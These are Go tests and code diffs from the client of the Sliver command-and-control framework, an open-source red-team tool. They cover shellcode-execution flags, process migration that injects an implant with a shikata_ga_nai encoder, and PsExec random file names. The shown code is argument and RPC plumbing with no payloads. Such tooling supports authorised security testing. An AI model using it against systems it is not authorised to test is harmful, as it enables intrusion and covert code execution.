func TestParseExecuteShellcodeFlagsValidation(t *testing.T) {
cmd := newExecuteShellcodeFlagsTestCommand(t)
if err := cmd.Flags().Set("shellcode-bypass", "9"); err != nil {
t.Fatalf("set shellcode-bypass: %v", err)
}
if _, _, err := parseExecuteShellcodeFlags(cmd); err == nil {
t.Fatalf("expected validation error for shellcode-bypass")
}
}
func TestShouldConvertExecuteShellcodePE(t *testing.T) {
testCases := []struct {
name string
path string
flagsChanged bool
wantConvert bool
wantDLL bool
}{
{name: "exe by extension", path: "/tmp/payload.exe", flagsChanged: false, wantConvert: true, wantDLL: false},
{name: "dll by extension", path: "/tmp/payload.dll", flagsChanged: false, wantConvert: true, wantDLL: true},
{name: "raw shellcode", path: "/tmp/payload.bin", flagsChanged: false, wantConvert: false, wantDLL: false},
{name: "flags force conversion", path: "/tmp/payload.bin", flagsChanged: true, wantConvert: true, wantDLL: false},
}
for _, tc := range testCases {
t.Run(tc.name, func(t *testing.T) {
gotConvert, gotDLL := shouldConvertExecuteShellcodePE(tc.path, tc.flagsChanged)
if gotConvert != tc.wantConvert || gotDLL != tc.wantDLL {
t.Fatalf("unexpected result convert=%v dll=%v, expected convert=%v dll=%v", gotConvert, gotDLL, tc.wantConvert, tc.wantDLL)
}
})
}
}
func newExecuteShellcodeFlagsTestCommand(t *testing.T) *cobra.Command {
t.Helper()
cmd := &cobra.Command{Use: "execute-shellcode"}
cmd.Flags().Uint32("shellcode-entropy", 1, "")
cmd.Flags().Bool("shellcode-compress", false, "")
cmd.Flags().Uint32("shellcode-exitopt", 1, "")
cmd.Flags().Uint32("shellcode-bypass", 3, "")
cmd.Flags().Uint32("shellcode-headers", 1, "")
cmd.Flags().Bool("shellcode-thread", false, "")
cmd.Flags().Bool("shellcode-unicode", false, "")
cmd.Flags().Uint32("shellcode-oep", 0, "")
return cmd
}
+12 -64
View File
@@ -44,49 +44,28 @@ func ExecuteCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
token, _ := cmd.Flags().GetBool("token")
hidden, _ := cmd.Flags().GetBool("hidden")
output, _ := cmd.Flags().GetBool("output")
background, _ := cmd.Flags().GetBool("background")
stdout, _ := cmd.Flags().GetString("stdout")
stderr, _ := cmd.Flags().GetString("stderr")
saveLoot, _ := cmd.Flags().GetBool("loot")
saveOutput, _ := cmd.Flags().GetBool("save")
ppid, _ := cmd.Flags().GetUint32("ppid")
envInheritance, _ := cmd.Flags().GetBool("env-inheritance")
envPairs, _ := cmd.Flags().GetStringArray("env")
envVars, err := parseEnvPairs(envPairs)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
hostName := getHostname(session, beacon)
if background && (saveLoot || saveOutput) {
con.PrintErrorf("The loot and save options are not supported with --background\n")
return
}
// If the user wants to loot or save the output, we have to capture it regardless of if they specified -o
captureOutput := !background && (output || saveLoot || saveOutput)
captureOutput := output || saveLoot || saveOutput
if captureOutput && beacon != nil {
if output && beacon != nil {
con.PrintWarnf("Using --output in beacon mode, if the command blocks the task will never complete\n\n")
}
var exec *sliverpb.Execute
var err error
ctrl := make(chan bool)
con.PrintInfof("Execute: %s [%s]\n", cmdPath, strings.Join(args, " "))
con.SpinUntil(fmt.Sprintf("Executing %s %s ...", cmdPath, strings.Join(args, " ")), ctrl)
if token || hidden || ppid != 0 {
if (session != nil && session.OS != "windows") || (beacon != nil && beacon.OS != "windows") {
con.PrintErrorf("The token, hide window, and ppid options are not valid on %s\n", session.OS)
ctrl <- true
<-ctrl
return
}
if envInheritance || len(envVars) > 0 {
con.PrintErrorf("The env and env-inheritance options are not supported with token, hidden, or ppid\n")
ctrl <- true
<-ctrl
return
}
exec, err = con.Rpc.ExecuteWindows(context.Background(), &sliverpb.ExecuteWindowsReq{
@@ -94,7 +73,6 @@ func ExecuteCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
Path: cmdPath,
Args: args,
Output: captureOutput,
Background: background,
Stderr: stderr,
Stdout: stdout,
UseToken: token,
@@ -103,15 +81,12 @@ func ExecuteCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
})
} else {
exec, err = con.Rpc.Execute(context.Background(), &sliverpb.ExecuteReq{
Request: con.ActiveTarget.Request(cmd),
Path: cmdPath,
Args: args,
Output: captureOutput,
Background: background,
Stderr: stderr,
Stdout: stdout,
EnvInheritance: envInheritance,
Env: envVars,
Request: con.ActiveTarget.Request(cmd),
Path: cmdPath,
Args: args,
Output: captureOutput,
Stderr: stderr,
Stdout: stdout,
})
}
ctrl <- true
@@ -166,23 +141,11 @@ func PrintExecute(exec *sliverpb.Execute, cmd *cobra.Command, con *console.Slive
stderr, _ := cmd.Flags().GetString("stderr")
output, _ := cmd.Flags().GetBool("output")
background := false
if cmd.Flags().Lookup("background") != nil {
background, _ = cmd.Flags().GetBool("background")
}
if background {
// Background execution never returns inline output.
output = false
}
if !output {
if exec.Pid != 0 {
if background {
con.PrintInfof("Started background process (pid: %d)\n", exec.Pid)
return
}
con.PrintInfof("Started process (pid: %d)\n", exec.Pid)
if exec.Status == 0 {
con.PrintInfof("Command executed successfully\n")
} else {
con.PrintInfof("Process started\n")
con.PrintErrorf("Exit code %d\n", exec.Status)
}
return
}
@@ -216,21 +179,6 @@ func getHostname(session *clientpb.Session, beacon *clientpb.Beacon) string {
return ""
}
func parseEnvPairs(envPairs []string) (map[string]string, error) {
if len(envPairs) == 0 {
return nil, nil
}
envVars := make(map[string]string, len(envPairs))
for _, pair := range envPairs {
parts := strings.SplitN(pair, "=", 2)
if len(parts) != 2 || parts[0] == "" {
return nil, fmt.Errorf("invalid --env value %q, expected key=value", pair)
}
envVars[parts[0]] = parts[1]
}
return envVars, nil
}
func determineCommandName(command string) string {
commandName := strings.ReplaceAll(command, "\\", "/")
+3 -131
View File
@@ -20,19 +20,14 @@ package exec
import (
"context"
"errors"
"fmt"
"sort"
"strings"
"github.com/spf13/cobra"
"google.golang.org/protobuf/proto"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/client/forms"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
)
// MigrateCmd - Windows only, inject an implant into another process
@@ -60,17 +55,9 @@ func MigrateCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
implantName = beacon.Name
}
targetArch := config.GetGOARCH()
if session != nil && session.Arch != "" {
targetArch = session.Arch
} else if beacon != nil && beacon.Arch != "" {
targetArch = beacon.Arch
}
encoder, err := parseShellcodeEncoderFlag(cmd, targetArch, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
encoder := clientpb.ShellcodeEncoder_SHIKATA_GA_NAI
if disableSgn, _ := cmd.Flags().GetBool("disable-sgn"); disableSgn {
encoder = clientpb.ShellcodeEncoder_NONE
}
ctrl := make(chan bool)
@@ -133,118 +120,3 @@ func MigrateCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
con.PrintInfof("Successfully migrated to %d\n", migrate.Pid)
}
}
func normalizeShellcodeEncoderName(name string) string {
normalized := strings.ToLower(strings.TrimSpace(name))
normalized = strings.ReplaceAll(normalized, "-", "_")
return normalized
}
func normalizeShellcodeArch(arch string) string {
normalized := strings.ToLower(strings.TrimSpace(arch))
switch normalized {
case "amd64", "x64", "x86_64":
return "amd64"
case "386", "x86", "i386":
return "386"
case "arm64", "aarch64":
return "arm64"
default:
return normalized
}
}
func fetchShellcodeEncoderMap(con *console.SliverClient) (*clientpb.ShellcodeEncoderMap, error) {
if con == nil || con.Rpc == nil {
return nil, errors.New("no RPC client")
}
grpcCtx, cancel := con.GrpcContext(nil)
defer cancel()
return con.Rpc.ShellcodeEncoderMap(grpcCtx, &commonpb.Empty{})
}
func compatibleShellcodeEncoderNames(encoderMap *clientpb.ShellcodeEncoderMap, arch string) []string {
if encoderMap == nil {
return nil
}
arch = normalizeShellcodeArch(arch)
archMap := encoderMap.GetEncoders()[arch]
if archMap == nil {
return nil
}
names := make([]string, 0, len(archMap.GetEncoders()))
for name := range archMap.GetEncoders() {
names = append(names, name)
}
sort.Strings(names)
return names
}
func shellcodeEncoderEnumForArch(encoderMap *clientpb.ShellcodeEncoderMap, arch, name string) (clientpb.ShellcodeEncoder, bool) {
if encoderMap == nil {
return clientpb.ShellcodeEncoder_NONE, false
}
arch = normalizeShellcodeArch(arch)
name = normalizeShellcodeEncoderName(name)
archMap := encoderMap.GetEncoders()[arch]
if archMap == nil {
return clientpb.ShellcodeEncoder_NONE, false
}
encoder, ok := archMap.GetEncoders()[name]
return encoder, ok
}
func parseShellcodeEncoderFlag(cmd *cobra.Command, targetArch string, con *console.SliverClient) (clientpb.ShellcodeEncoder, error) {
rawEncoder, _ := cmd.Flags().GetString("shellcode-encoder")
rawEncoder = strings.TrimSpace(rawEncoder)
if cmd.Flags().Changed("shellcode-encoder") && rawEncoder == "" {
return clientpb.ShellcodeEncoder_NONE, fmt.Errorf("shellcode-encoder cannot be empty; use 'none' to disable encoding")
}
normalized := normalizeShellcodeEncoderName(rawEncoder)
if normalized == "none" {
return clientpb.ShellcodeEncoder_NONE, nil
}
encoderMap, err := fetchShellcodeEncoderMap(con)
if err != nil {
return clientpb.ShellcodeEncoder_NONE, err
}
// If no encoder specified, prompt for a compatible encoder (or none).
if rawEncoder == "" && !cmd.Flags().Changed("shellcode-encoder") {
compatible := compatibleShellcodeEncoderNames(encoderMap, targetArch)
if len(compatible) == 0 {
// No known compatible encoders for this arch.
return clientpb.ShellcodeEncoder_NONE, nil
}
options := append([]string{"none"}, compatible...)
choice := "none"
if err := forms.Select("Select a shellcode encoder (optional)", options, &choice); err != nil {
return clientpb.ShellcodeEncoder_NONE, err
}
if normalizeShellcodeEncoderName(choice) == "none" {
return clientpb.ShellcodeEncoder_NONE, nil
}
encoder, ok := shellcodeEncoderEnumForArch(encoderMap, targetArch, choice)
if !ok {
return clientpb.ShellcodeEncoder_NONE, fmt.Errorf("unsupported shellcode encoder %q for arch %s", choice, normalizeShellcodeArch(targetArch))
}
return encoder, nil
}
// Encoder explicitly specified by name.
encoder, ok := shellcodeEncoderEnumForArch(encoderMap, targetArch, rawEncoder)
if !ok {
compatible := compatibleShellcodeEncoderNames(encoderMap, targetArch)
if len(compatible) == 0 {
return clientpb.ShellcodeEncoder_NONE, fmt.Errorf("no shellcode encoders are available for arch %s", normalizeShellcodeArch(targetArch))
}
return clientpb.ShellcodeEncoder_NONE, fmt.Errorf("unsupported shellcode encoder %q for arch %s (valid: %s)", rawEncoder, normalizeShellcodeArch(targetArch), strings.Join(compatible, ", "))
}
return encoder, nil
}
+9 -9
View File
@@ -21,6 +21,7 @@ package exec
import (
"context"
"fmt"
insecureRand "math/rand"
"os"
"strings"
"time"
@@ -31,7 +32,6 @@ import (
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util"
"github.com/bishopfox/sliver/util/encoders"
"github.com/spf13/cobra"
)
@@ -175,8 +175,8 @@ func PsExecCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
func randomString() string {
alphanumeric := "abcdefghijklmnopqrstuvwxyz0123456789"
str := ""
for index := 0; index < util.Intn(8)+1; index++ {
str += string(alphanumeric[util.Intn(len(alphanumeric))])
for index := 0; index < insecureRand.Intn(8)+1; index++ {
str += string(alphanumeric[insecureRand.Intn(len(alphanumeric))])
}
return str
}
@@ -184,7 +184,7 @@ func randomString() string {
func randomFileName() string {
noun := randomString()
noun = strings.ToLower(noun)
switch util.Intn(3) {
switch insecureRand.Intn(3) {
case 0:
noun = strings.ToUpper(noun)
case 1:
@@ -192,16 +192,16 @@ func randomFileName() string {
}
separators := []string{"", "", "", "", "", ".", "-", "_", "--", "__"}
sep := separators[util.Intn(len(separators))]
sep := separators[insecureRand.Intn(len(separators))]
alphanumeric := "abcdefghijklmnopqrstuvwxyz0123456789"
prefix := ""
for index := 0; index < util.Intn(3); index++ {
prefix += string(alphanumeric[util.Intn(len(alphanumeric))])
for index := 0; index < insecureRand.Intn(3); index++ {
prefix += string(alphanumeric[insecureRand.Intn(len(alphanumeric))])
}
suffix := ""
for index := 0; index < util.Intn(6)+1; index++ {
suffix += string(alphanumeric[util.Intn(len(alphanumeric))])
for index := 0; index < insecureRand.Intn(6)+1; index++ {
suffix += string(alphanumeric[insecureRand.Intn(len(alphanumeric))])
}
return fmt.Sprintf("%s%s%s%s%s", prefix, sep, noun, sep, suffix)
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